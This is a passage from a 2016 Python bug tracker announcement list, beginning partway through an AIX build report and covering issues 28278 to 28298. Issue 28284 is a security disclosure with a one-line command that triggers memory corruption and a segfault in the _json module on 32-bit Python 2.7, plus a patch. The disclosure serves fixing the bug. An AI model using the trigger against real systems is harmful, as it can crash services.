root at x064:[/data/prj/python/python-3.6.0.162]xlc  -DNDEBUG -O -I/opt/include -qmaxmem=-1 -qarch=pwr4 -O3 -I/opt/buildaix/includes -O     -I. -IInclude -I./Include -I/opt/include -I/opt/buildaix/inclu
de   -DPy_BUILD_CORE  -I./Modules/_io -c ./Modules/_io/_iomodule.c -o Modules/_iomodule.o
root at x064:[/data/prj/python/python-3.6.0.162]
** Notice no messges - while:

root at x064:[/data/prj/python/python-3.6.0.177]xlc  -DNDEBUG -O -I/opt/include -qmaxmem=-1 -qarch=pwr4 -O3 -I/opt/buildaix/includes -O     -I. -IInclude -I./Include -I/opt/include ->
"./Modules/_io/_iomodule.h", line 156.2: 1506-766 (S) The universal character name "
" is not in the allowable range for an identifier.
"./Modules/_io/_iomodule.c", line 804.2: 1506-198 (S) #if, #else, #elif, #ifdef, #ifndef block must be ended with #endif.
root at x064:[/data/prj/python/python-3.6.0.177]

Looks to be a simple typo on line 156 - #endif^L is not seen as #endif by XLC.

  +154  #ifdef MS_WINDOWS
  +155  extern char _PyIO_get_console_type(PyObject *);
  +156  #endif^L

Once I remove the "formfeed" character, as is well again.

----------
components: Build
messages: 277412
nosy: Michael.Felt
priority: normal
severity: normal
status: open
title: ./Modules/_io/_iomodule.c build failure on AIX (beta1) while (a2) was fine.
type: compile error
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28277>
_______________________________________

From report at bugs.python.org  Mon Sep 26 12:28:49 2016
From: report at bugs.python.org (Ram Rachum)
Date: Mon, 26 Sep 2016 16:28:49 +0000
Subject: [New-bugs-announce] [issue28278] Make
 `weakref.WeakKeyDictionary.__repr__` meaningful
Message-ID: <1474907329.42.0.213961169452.issue28278@psf.upfronthosting.co.za>


New submission from Ram Rachum:

Both `WeakKeyDictionary` and `WeakValueDictionary` have opaque `__repr__` methods:

>>> x = weakref.WeakKeyDictionary({object: 2, type: 4,})
>>> x
<WeakKeyDictionary at 0x32e6198>
>>> dict(x)
{<class 'type'>: 4, <class 'object'>: 2}

This makes it annoying to view them at a glance. Is there a reason for it? (I don't know, maybe because they're weakref? Though I'm not sure how that would affect this decision.)

If there isn't a reason, then maybe there should be a nice `__repr__` that lets you see the objects inside?

----------
components: Library (Lib)
messages: 277431
nosy: cool-RR
priority: normal
severity: normal
status: open
title: Make `weakref.WeakKeyDictionary.__repr__` meaningful
type: enhancement
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28278>
_______________________________________

From report at bugs.python.org  Mon Sep 26 13:05:38 2016
From: report at bugs.python.org (Roy Williams)
Date: Mon, 26 Sep 2016 17:05:38 +0000
Subject: [New-bugs-announce] [issue28279] setuptools failing to read from
 setup.cfg only in Python 3.6
Message-ID: <1474909538.67.0.328004494878.issue28279@psf.upfronthosting.co.za>


New submission from Roy Williams:

Howdy,

I'm attempting to make a change to the mock package in Python (related to http://bugs.python.org/issue28260), and it appears their CI is broken in Python 3.6 only. The problem appears to originate from setuptools, but this only fails in Python 3.6

Here's the last time the mock jobs passed:
https://travis-ci.org/testing-cabal/mock/jobs/153850304 
Here's where they started failing:
https://travis-ci.org/testing-cabal/mock/jobs/159121114

Here's the core of the issue. AFAICT in Python 3.6 setuptools isn't parsing (or is incorrectly parsing) setup.cfg.  I filed https://github.com/pypa/setuptools/issues/800 with the PyPA folks, but honestly I am unsure if the issue is Python itself or setuptools.

Interestingly, when this build went from "passing" to "failing", both were running Python 3.6.0a4+.  

1.43s$ pip install -U .[docs,test]
Processing /home/travis/build/testing-cabal/mock
  mock 2.0.1.dev2 does not provide the extra 'docs'
  mock 2.0.1.dev2 does not provide the extra 'test'
Installing collected packages: mock
  Found existing installation: mock 2.0.0
    Uninstalling mock-2.0.0:
      Successfully uninstalled mock-2.0.0
  Running setup.py install for mock ... done
Successfully installed mock-2.0.1.dev2
I attempted to force travis to pin to the latest version of setuptools and had the same issue (only in Python 3.6, not 3.5 - https://travis-ci.org/testing-cabal/mock/builds/162838672)

----------
components: Distutils
messages: 277434
nosy: Roy Williams, dstufft, eric.araujo
priority: normal
severity: normal
status: open
title: setuptools failing to read from setup.cfg only in Python 3.6
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28279>
_______________________________________

From report at bugs.python.org  Mon Sep 26 14:13:46 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 26 Sep 2016 18:13:46 +0000
Subject: [New-bugs-announce] [issue28280] Always return a list from
 PyMapping_Keys/PyMapping_Values/PyMapping_Items
Message-ID: <1474913626.43.0.560302545775.issue28280@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

PyMapping_Keys(), PyMapping_Values() and PyMapping_Items() can return a list or tuple (because they use PySequence_Fast). But end users of this API often work only with lists and raise an exception if corresponding mapping methods return an instance of other type (actually only for tuples). See Modules/posixmodule.c, Modules/_winapi.c, Modules/_sre.c. The type is even not checked in the latter file.

Old documentation said that PyMapping_Keys(o) is equivalent to the Python expression list(o.keys()). Maybe it is worth to make this true. Make PyMapping_Keys(o) etc always returning a list. This could simplify the code that uses this C API. Since keys() etc usually return a dict view, a list or a generator, but not a tuple, this unlikely will cause performance regression.

----------
components: Interpreter Core
messages: 277443
nosy: rhettinger, serhiy.storchaka, xiang.zhang
priority: normal
severity: normal
status: open
title: Always return a list from PyMapping_Keys/PyMapping_Values/PyMapping_Items
type: enhancement
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28280>
_______________________________________

From report at bugs.python.org  Mon Sep 26 16:44:06 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Mon, 26 Sep 2016 20:44:06 +0000
Subject: [New-bugs-announce] [issue28281] Remove year limits from calendar
Message-ID: <1474922646.39.0.781731359123.issue28281@psf.upfronthosting.co.za>


New submission from Alexander Belopolsky:

The calendar module currently relies on datetime for some calculations and is therefore restricted to years 1 through 9999.  With exception to some public methods that are documented to return datetime.date instances, this dependence on the datetime module can be removed.

----------
assignee: belopolsky
messages: 277467
nosy: belopolsky, serhiy.storchaka
priority: normal
severity: normal
stage: needs patch
status: open
title: Remove year limits from calendar
type: enhancement
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28281>
_______________________________________

From report at bugs.python.org  Mon Sep 26 21:27:45 2016
From: report at bugs.python.org (Martin Panter)
Date: Tue, 27 Sep 2016 01:27:45 +0000
Subject: [New-bugs-announce] [issue28282] find_library("c") defers to
 find_msvcrt()
Message-ID: <1474939665.29.0.913307125474.issue28282@psf.upfronthosting.co.za>


New submission from Martin Panter:

Issue 1793 added ctypes.util.find_msvcrt(), and special cases that map find_library("c") and "m" to the new function. However this contradicts the documentation <https://docs.python.org/3.5/library/ctypes.html#finding-shared-libraries>:

?On Windows, . . . a call like find_library("c") will fail and return None.?

I think the documentation needs updating or clarifying.

----------
assignee: docs at python
components: Documentation, Windows, ctypes
messages: 277479
nosy: docs at python, martin.panter, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: find_library("c") defers to find_msvcrt()
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28282>
_______________________________________

From report at bugs.python.org  Tue Sep 27 02:34:24 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 27 Sep 2016 06:34:24 +0000
Subject: [New-bugs-announce] [issue28283]
 test_sock_connect_sock_write_race() of
 test.test_asyncio.test_selector_events fails randomly on FreeBSD
Message-ID: <1474958064.43.0.517604300062.issue28283@psf.upfronthosting.co.za>


New submission from STINNER Victor:

The issue #28176 introduced a new unit test which fails randomly on FreeBSD buildbots. Recent example:

http://buildbot.python.org/all/builders/AMD64%20FreeBSD%2010.x%20Shared%203.x/builds/5162/steps/test/logs/stdio

======================================================================
ERROR: test_sock_connect_sock_write_race (test.test_asyncio.test_selector_events.SelectorLoopFunctionalTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/test/test_asyncio/test_selector_events.py", line 1868, in test_sock_connect_sock_write_race
    timeout=TIMEOUT))
  File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/asyncio/base_events.py", line 457, in run_until_complete
    return future.result()
  File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/asyncio/futures.py", line 292, in result
    raise self._exception
  File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/asyncio/tasks.py", line 239, in _step
    result = coro.send(None)
  File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/asyncio/tasks.py", line 397, in wait_for
    raise futures.TimeoutError()
concurrent.futures._base.TimeoutError

----------
components: Tests, asyncio
keywords: buildbot
messages: 277492
nosy: gvanrossum, haypo, koobs, yselivanov
priority: normal
severity: normal
status: open
title: test_sock_connect_sock_write_race() of test.test_asyncio.test_selector_events fails randomly on FreeBSD
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28283>
_______________________________________

From report at bugs.python.org  Tue Sep 27 02:54:57 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Tue, 27 Sep 2016 06:54:57 +0000
Subject: [New-bugs-announce] [issue28284] Memory corruption due to size
 expansion (overflow) in _json.encode_basestring_ascii on 32 bit Python
 2.7.12
Message-ID: <1474959297.9.0.357040711075.issue28284@psf.upfronthosting.co.za>


New submission from Benjamin Peterson:

Guido Vranken reports:

This results in a segmentation fault on 32 bit:

python -c "import _json; print
_json.encode_basestring_ascii(unicode(chr(0x22)) * 0x2AAAAAAB)"


This is a tentative patch:

diff --git a/Modules/_json.c b/Modules/_json.c
index fede6b1..022bbc8 100644
--- a/Modules/_json.c
+++ b/Modules/_json.c
@@ -212,7 +212,16 @@ ascii_escape_unicode(PyObject *pystr)

     /* One char input can be up to 6 chars output, estimate 4 of these */
     output_size = 2 + (MIN_EXPANSION * 4) + input_chars;
-    max_output_size = 2 + (input_chars * MAX_EXPANSION);
+    if (input_chars > (PY_SSIZE_T_MAX / MAX_EXPANSION) ) {
+        PyErr_SetString(PyExc_ValueError, "Size of escaped string
exceeds upper boundary");
+        return NULL;
+    }
+    max_output_size = (input_chars * MAX_EXPANSION);
+    if ( max_output_size > (PY_SSIZE_T_MAX - 2)) {
+        PyErr_SetString(PyExc_ValueError, "Size of escaped string
exceeds upper boundary");
+        return NULL;
+    }
+    max_output_size += 2;
     rval = PyString_FromStringAndSize(NULL, output_size);
     if (rval == NULL) {
         return NULL;


But you still have to take account these things:

            /* This is an upper bound */
            if (new_output_size > max_output_size) {
                new_output_size = max_output_size;
            }

If this code within the if{} is reached then it merely truncates the
amount of memory that is actually required, thereby creating another
opportunity for overwrites?

And this:

            Py_ssize_t new_output_size = output_size * 2;

might overflow, but since output_size is always positive (ie. in the
range [0..PY_SSIZE_T_MAX]), an overflow would result in a negative
value. That would subsequently be caught in _PyString_Resize():

int
_PyString_Resize(PyObject **pv, Py_ssize_t newsize)
{
    register PyObject *v;
    register PyStringObject *sv;
    v = *pv;
    if (!PyString_Check(v) || Py_REFCNT(v) != 1 || newsize < 0 ||
        PyString_CHECK_INTERNED(v)) {
        *pv = 0;
        Py_DECREF(v);
        PyErr_BadInternalCall();
        return -1;
    }

Nonetheless an overflow from positive to negative is undesirable (it's
undefined behaviour).

----------
messages: 277494
nosy: benjamin.peterson
priority: normal
severity: normal
status: open
title: Memory corruption due to size expansion (overflow) in _json.encode_basestring_ascii on 32 bit Python 2.7.12
type: security
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28284>
_______________________________________

From report at bugs.python.org  Tue Sep 27 06:13:55 2016
From: report at bugs.python.org (Hogren)
Date: Tue, 27 Sep 2016 10:13:55 +0000
Subject: [New-bugs-announce] [issue28285] 35.5 - 29.58 = 5.920000000000002
 (it's false !)
Message-ID: <1474971235.03.0.505577287103.issue28285@psf.upfronthosting.co.za>


New submission from Hogren:

I was using python as calculator when I enter :
35.5 - 29.58

I am surprising when python give me a result with many decimals:
5.920000000000002

I tried to change one number :
35.5 - 29.57
The result is correct : 5.93

The error is present again when I tried to inverse numbers (29.57-35.5).

The error is again present when I tried to use 35.50 in place of 35.5.



I tested on python 2.7 and 3.4, compiled with gcc 4.9.3, on Gentoo.


Thanks for all who contribute to this good project which is Python !

Hogren

----------
messages: 277511
nosy: Hogren
priority: normal
severity: normal
status: open
title: 35.5 - 29.58 = 5.920000000000002 (it's false !)
type: behavior
versions: Python 2.7, Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28285>
_______________________________________

From report at bugs.python.org  Tue Sep 27 10:01:44 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 27 Sep 2016 14:01:44 +0000
Subject: [New-bugs-announce] [issue28286] gzip guessing of mode is
 ambiguilous
Message-ID: <1474984904.89.0.353695342219.issue28286@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

gzip.GzipFile can be open in two modes: reading and writing. The mode is specified by the mode parameter, but if it is not specified or is None, the mode is determined by the mode of passed file object. The problem is that the file object can support reading and writing. If the file object is opened with mode "rb", "rb+" or "wb+" (see also issue25341), GzipFile will be opened for reading. If the file object is opened with mode "wb", "ab", "ab+", "xb", or "xb+", GzipFile will be opened for writing. Modes "rb+", "wb+", "ab+" and "xb+" support reading and writing, and GzipFile's choose looks arbitrary.

bz2 and lzma are free from this arbitrariness. The default value of the mode parameter is "r", and they never use file's mode as a guess.

This feature of the gzip module is not tested. Changing the default value of mode to "r" doesn't break gzip tests. But for certainty we should first deprecate this feature before dropping it.

----------
components: Library (Lib)
files: gzip_deprecate_implicit_write.patch
keywords: patch
messages: 277515
nosy: nadeem.vawda, serhiy.storchaka
priority: normal
severity: normal
stage: patch review
status: open
title: gzip guessing of mode is ambiguilous
type: enhancement
versions: Python 3.7
Added file: http://bugs.python.org/file44843/gzip_deprecate_implicit_write.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28286>
_______________________________________

From report at bugs.python.org  Tue Sep 27 10:26:43 2016
From: report at bugs.python.org (Martin Richard)
Date: Tue, 27 Sep 2016 14:26:43 +0000
Subject: [New-bugs-announce] [issue28287] Refactor subprocess.Popen to let a
 subclass handle IO asynchronously
Message-ID: <1474986403.83.0.165864194914.issue28287@psf.upfronthosting.co.za>


New submission from Martin Richard:

Hi,

Currently, subprocess.Popen performs blocking IO in its constructor (at least on Unix): it reads on a pipe in order to detect outcome of the pre-exec and exec phase in the new child. There is no way yet to modify this behavior as this blocking call is part of a long Popen._execute_child() method.

This is a problem in asyncio (asyncio.subprocess_exec and asyncio.subprocess_shell).

I would like to submit a patch which breaks Popen.__init__() and Popen._execute_child() in several methods so it becomes possible to avoid blocking calls (read on pipe and waitpid) by overriding a few private methods without duplicating too much code. The goal is to use it in asyncio, as described in this pull request (which currently monkey-patches Popen):
https://github.com/python/asyncio/pull/428

This patch only targets the unix implementation.

Thanks for your feedback.

----------
files: popen_execute_child_refactoring.patch
keywords: patch
messages: 277517
nosy: martius
priority: normal
severity: normal
status: open
title: Refactor subprocess.Popen to let a subclass handle IO asynchronously
type: enhancement
versions: Python 3.6
Added file: http://bugs.python.org/file44844/popen_execute_child_refactoring.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28287>
_______________________________________

From report at bugs.python.org  Tue Sep 27 12:24:06 2016
From: report at bugs.python.org (Roy Williams)
Date: Tue, 27 Sep 2016 16:24:06 +0000
Subject: [New-bugs-announce] [issue28288] Expose environment variable for
 Py_Py3kWarningFlag
Message-ID: <1474993446.86.0.709676160725.issue28288@psf.upfronthosting.co.za>


New submission from Roy Williams:

I'm finding the `-3` flag to be super useful, but it's quite a huge pain to thread it through all of the places that spawn python subprocesses, sometimes requiring forking of third party code.

This would be much simpler if, like PYTHONWARNINGS, Py_Py3kWarningFlag could be specified as an environment variable.

----------
components: 2to3 (2.x to 3.x conversion tool)
messages: 277522
nosy: Roy Williams
priority: normal
severity: normal
status: open
title: Expose environment variable for Py_Py3kWarningFlag
type: behavior
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28288>
_______________________________________

From report at bugs.python.org  Tue Sep 27 14:02:52 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 27 Sep 2016 18:02:52 +0000
Subject: [New-bugs-announce] [issue28289] ImportError.__init__ doesn't reset
 not specified exception attributes
Message-ID: <1474999372.21.0.472143563436.issue28289@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

ImportError.__init__ sets only specified attributes ("msg", "name" or "path"), and left not explicitly specified attributes unchanged.

>>> err = ImportError('test', name='name')
>>> err.args, err.msg, err.name, err.path
(('test',), 'test', 'name', None)
>>> err.__init__(path='path')
>>> err.args, err.msg, err.name, err.path
((), 'test', 'name', 'path')

In above example err.__init__(path='path') sets attributes "args" and "path", but not "msg" and "name".

I'm not sure whether can this be considered as a bug.

----------
components: Interpreter Core
messages: 277533
nosy: brett.cannon, eric.snow, ncoghlan, serhiy.storchaka
priority: normal
severity: normal
status: open
title: ImportError.__init__ doesn't reset not specified exception attributes
versions: Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28289>
_______________________________________

From report at bugs.python.org  Tue Sep 27 14:35:30 2016
From: report at bugs.python.org (Michael Felt)
Date: Tue, 27 Sep 2016 18:35:30 +0000
Subject: [New-bugs-announce] [issue28290] BETA report: Python-3.6 build
 messages to stderr: AIX and "not GCC"
Message-ID: <1475001330.34.0.107474417097.issue28290@psf.upfronthosting.co.za>


New submission from Michael Felt:

GCC and IBM xlC compilers pay attention to different things - so some of the messages are "accepted" if not harmless.

e.g. this type:
"./Modules/xxsubtype.c", line 293.19: 1506-196 (W) Initialization between types "void*" and "int(*)(struct _object*)" is not allowed.

Others are (well)-known different compiler behaviors - such as the default sign of a 'bit-field'
"/data/prj/python/python-3.6.0.177/Modules/_ctypes/_ctypes_test.c", line 389.5: 1506-159 (E) Bit field type specified for M is not valid. Type unsigned assumed.

However, some of the messages may lead to a problem down the road. Might be the platform, might be the "converted" include files:

"./pyconfig.h", line 1448.9: 1506-236 (W) Macro name _POSIX_C_SOURCE has been redefined.
"./pyconfig.h", line 1448.9: 1506-358 (I) "_POSIX_C_SOURCE" is defined on line 147 of /usr/include/standards.h.
"./pyconfig.h", line 1460.9: 1506-236 (W) Macro name _XOPEN_SOURCE has been redefined.
"./pyconfig.h", line 1460.9: 1506-358 (I) "_XOPEN_SOURCE" is defined on line 143 of /usr/include/standards.h.

And others might be more of an issue - e.g., no idea what "_blake2" is - does not look 'happy' or safe:
"/data/prj/python/python-3.6.0.177/Modules/_blake2/impl/blake2.h", line 89.14: 1506-508 (W) Option push for pragma pack is not supported.
"/data/prj/python/python-3.6.0.177/Modules/_blake2/impl/blake2.h", line 89.1: 1506-224 (W) Incorrect pragma ignored.
"/data/prj/python/python-3.6.0.177/Modules/_blake2/impl/blake2.h", line 119.14: 1506-726 (W) Attempting to pop an empty pack stack. Current pack may change.

That pretty well summarizes what is in the file - stdout was directed to a file

----------
components: Build
files: build-python-3.6.0.b1.script
messages: 277538
nosy: Michael.Felt
priority: normal
severity: normal
status: open
title: BETA report: Python-3.6 build messages to stderr: AIX and "not GCC"
Added file: http://bugs.python.org/file44846/build-python-3.6.0.b1.script

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28290>
_______________________________________

From report at bugs.python.org  Tue Sep 27 17:23:08 2016
From: report at bugs.python.org (secynic)
Date: Tue, 27 Sep 2016 21:23:08 +0000
Subject: [New-bugs-announce] [issue28291] urllib/urllib2
 AbstractDigestAuthHandler locked to retried count of 5
Message-ID: <1475011388.29.0.32013326397.issue28291@psf.upfronthosting.co.za>


New submission from secynic:

urllib/urllib2 AbstractDigestAuthHandler is hardcoded to 5 retries (self.retried). Normally this wouldn't be an issue.

Certain products link basic HTTP auth to Active Directory (yes, this shouldn't be a thing). When you have a failed login attempt lockout set on AD, this will lockout accounts on the very first failed Python basic auth attempt, if the AD lockout is set to 5 or less.

In my specific use case, I was able to override request.HTTPBasicAuthHandler.__init__() and request.HTTPBasicAuthHandler.reset_retry_count() by setting self.retried=5. One way to fix this would be to add a new retry_count argument to AbstractDigestAuthHandler.

I am a bit busy at the moment, but will submit a patch as soon as I get time.

----------
components: Library (Lib)
messages: 277549
nosy: secynic
priority: normal
severity: normal
status: open
title: urllib/urllib2 AbstractDigestAuthHandler locked to retried count of 5
type: enhancement
versions: Python 2.7, Python 3.3, Python 3.4, Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28291>
_______________________________________

From report at bugs.python.org  Tue Sep 27 23:01:58 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Wed, 28 Sep 2016 03:01:58 +0000
Subject: [New-bugs-announce] [issue28292] Make Calendar.itermonthdates()
 behave consistently in edge cases
Message-ID: <1475031718.56.0.220203946513.issue28292@psf.upfronthosting.co.za>


New submission from Alexander Belopolsky:

The Calendar.itermonthdates() method is defined as follows:

"Return an iterator for one month. The iterator will yield datetime.date values and will always iterate through complete weeks, so it will yield dates outside the specified month."

However, for the two months at the extremes of datetime.date range, 0001-01 and 9999-12, the dates outside the specified month may not be representable as datetime.date instances.

The current implementation is inconsistent: itermonthdates(1, 1) may raise an OverflowError (see #26650), while itermonthdates(9999, 12) may yield an incomplete week (see #28253.)

This issue supersedes #26650 and #28253.

----------
assignee: belopolsky
messages: 277577
nosy: belopolsky, jiangping.li, rhettinger, serhiy.storchaka, xiang.zhang
priority: normal
severity: normal
stage: test needed
status: open
title: Make Calendar.itermonthdates() behave consistently in edge cases
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28292>
_______________________________________

From report at bugs.python.org  Wed Sep 28 00:49:29 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 28 Sep 2016 04:49:29 +0000
Subject: [New-bugs-announce] [issue28293] Don't completely dump the regex
 cache when full
Message-ID: <1475038169.86.0.21816130335.issue28293@psf.upfronthosting.co.za>


New submission from Raymond Hettinger:

When the regex cache gets filled, it is cleared in its entirety.  Instead, it only needs to evict one arbitrary entry.  This will save the us from having to rebuild and recache frequently used regexes.

----------
assignee: serhiy.storchaka
components: Library (Lib)
files: re_cache_pop.diff
keywords: patch
messages: 277580
nosy: rhettinger, serhiy.storchaka
priority: low
severity: normal
stage: patch review
status: open
title: Don't completely dump the regex cache when full
type: performance
versions: Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44852/re_cache_pop.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28293>
_______________________________________

From report at bugs.python.org  Wed Sep 28 03:08:24 2016
From: report at bugs.python.org (Jaap van der Velde)
Date: Wed, 28 Sep 2016 07:08:24 +0000
Subject: [New-bugs-announce] [issue28294] HTTPServer server.py assumes
 sys.stderr != None
Message-ID: <1475046504.95.0.666561329413.issue28294@psf.upfronthosting.co.za>


New submission from Jaap van der Velde:

On line 556 of server.py, the sys.stderr.write assumes that sys.stderr is assigned and not None.

However, when developing Windows services using the pypiwin32 library (as an example), sys.stderr == None

A workaround is to override the log_message method of the BaseHTTPRequestHandler, but it seems to me that the method should not assume the availability of stderr?

----------
components: Library (Lib)
messages: 277593
nosy: grismar
priority: normal
severity: normal
status: open
title: HTTPServer server.py assumes sys.stderr != None
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28294>
_______________________________________

From report at bugs.python.org  Wed Sep 28 04:11:06 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Wed, 28 Sep 2016 08:11:06 +0000
Subject: [New-bugs-announce] [issue28295] PyUnicode_AsUCS4 doc and impl
 conflict on exception
Message-ID: <1475050266.78.0.386373068592.issue28295@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

PyUnicode_AsUCS4 declares to raise ValueError if buffer length is smaller than string length. But now the implementation raises SystemError.

----------
components: Interpreter Core
messages: 277595
nosy: haypo, serhiy.storchaka, xiang.zhang
priority: normal
severity: normal
status: open
title: PyUnicode_AsUCS4 doc and impl conflict on exception
type: behavior
versions: Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28295>
_______________________________________

From report at bugs.python.org  Wed Sep 28 05:14:43 2016
From: report at bugs.python.org (Manuel Krebber)
Date: Wed, 28 Sep 2016 09:14:43 +0000
Subject: [New-bugs-announce] [issue28296] Add __le__ and __ge__ to
 collections.Counter
Message-ID: <1475054083.73.0.310763027677.issue28296@psf.upfronthosting.co.za>


New submission from Manuel Krebber:

I would really like there to be comparison operators for collection.Counter similar to the ones for sets. While you can now use minus to some degree for that comparison, it is very inefficient. I have attached an implementation of __ge__ and __le__ as a patch. I could also provide the necessary additions to the documentation, if that is desired.

----------
components: Library (Lib)
files: counter_comparison.patch
keywords: patch
messages: 277597
nosy: Wheerd
priority: normal
severity: normal
status: open
title: Add __le__ and __ge__ to collections.Counter
type: enhancement
versions: Python 3.5, Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44858/counter_comparison.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28296>
_______________________________________

From report at bugs.python.org  Wed Sep 28 05:31:39 2016
From: report at bugs.python.org (Arvind Padmanabhan)
Date: Wed, 28 Sep 2016 09:31:39 +0000
Subject: [New-bugs-announce] [issue28297] sched module example has wrong
 output
Message-ID: <1475055099.98.0.944260791196.issue28297@psf.upfronthosting.co.za>


New submission from Arvind Padmanabhan:

Example in the sched module shows the following output:

930343690.257
>From print_time 930343695.274 positional
>From print_time 930343695.275 keyword
>From print_time 930343700.273 default
930343700.276

But since "keyword" is scheduled with a higher priority (lower number), it should be printed first.

URL: https://docs.python.org/3/library/sched.html
Section: 17.6

----------
assignee: docs at python
components: Documentation
messages: 277600
nosy: Arvind Padmanabhan, docs at python
priority: normal
severity: normal
status: open
title: sched module example has wrong output
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28297>
_______________________________________

From report at bugs.python.org  Wed Sep 28 06:09:35 2016
From: report at bugs.python.org (Oren Milman)
Date: Wed, 28 Sep 2016 10:09:35 +0000
Subject: [New-bugs-announce] [issue28298] can't set big int-like objects to
 items in array 'Q', 'L' and 'I'
Message-ID: <1475057375.91.0.35024252276.issue28298@psf.upfronthosting.co.za>


New submission from Oren Milman:

------------ current state ------------
On my Windows 10, on a 32-bit Python, The following runs fine:
    import array
    array.array('L').append(2 ** 32 - 1)

However, in the following, an OverflowError('Python int too large to convert to C long') is raised on the last line:
    import array
    class LikeInt:
        def __init__(self, intVal):
            self.intVal = intVal
        def __int__(self):
            return self.intVal
    array.array('L').append(LikeInt(2 ** 32 - 1))

The reason for this behavior is the implementation of the function LL_setitem (in Modules/arraymodule.c) (edited brutally for brevity):
    LL_setitem(arrayobject *ap, Py_ssize_t i, PyObject *v)
    {
        unsigned long x;
        if (PyLong_Check(v)) {
            x = PyLong_AsUnsignedLong(v);
        }
        else {
            long y;
            PyArg_Parse(v, "l;array item must be integer", &y);
            x = (unsigned long)y;
        }
        (ap->ob_item)[i] = x;
    }
The problem is that PyArg_Parse is used to convert a Python int into a C long. So PyArg_Parse fails when it is given a Python int which is in range(LONG_MAX + 1, ULONG_MAX + 1), even though such Python int can be stored in a C unsigned long.

It is quite the same for array('I') and array('Q') (i.e. in II_setitem and in QQ_setitem, respectively).

With regard to relevant changes made in the past, PyArg_Parse was always used  (in case '!PyLong_Check(v)'), since adding the original versions of:
    * II_setitem and LL_setitem (back then, they were called I_setitem and L_setitem, respectively), in changeset 4875 (https://hg.python.org/cpython/rev/911040e1bb11)
    * QQ_setitem, in changeset 72430 (https://hg.python.org/cpython/rev/15659e0e2b2e)


------------ proposed changes ------------
    1. In Modules/arraymodule.c, change the implementation of LL_setitem (and likewise, of II_setitem and QQ_setitem) roughly to the following:
        LL_setitem(arrayobject *ap, Py_ssize_t i, PyObject *v)
        {
            unsigned long x;
            if (!PyLong_Check(v)) {
                v = _PyLong_FromNbInt(v);
            }
            x = PyLong_AsUnsignedLong(v);
            (ap->ob_item)[i] = x;
        }

    2. In Lib/test/test_array.py, add tests:
        * to verify the bug is fixed, i.e. test the bounds of setting int-like objects to items in an integers array
        * to verify float objects can't be set to items in an integers array (as is already the behavior, but there aren't any tests for it)

    3. While we are in Lib/test/test_array.py, remove any checks whether 'long long' is available, as it must be available, since changeset 103105 (https://hg.python.org/cpython/rev/9206a86f7321).

Note that issue #12974 (opened in 2011) proposes deprecating the ability to set int-like objects to items in an integers array. (I am not sure how that affects my patch, but I guess it should be noted.)


------------ diff ------------
The proposed patches diff file is attached.

(Note that the I didn't propose to change the perplexing error message 'unsigned int is greater than maximum' in II_setitem, as there are many such messages in the codebase, and I am working on a patch for them as part of issue #15988.)


------------ tests ------------
I ran 'python_d.exe -m test -j3' (on my 64-bit Windows 10) with and without the patches, and got quite the same output. (That also means my new tests in test_array passed.)
The outputs of both runs are attached.

----------
components: Library (Lib)
files: patchedCPythonTestOutput_ver1.txt
messages: 277604
nosy: Oren Milman
priority: normal
severity: normal
status: open
title: can't set big int-like objects to items in array 'Q', 'L' and 'I'
type: behavior
Added file: http://bugs.python.org/file44860/patchedCPythonTestOutput_ver1.txt

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28298>
_______________________________________

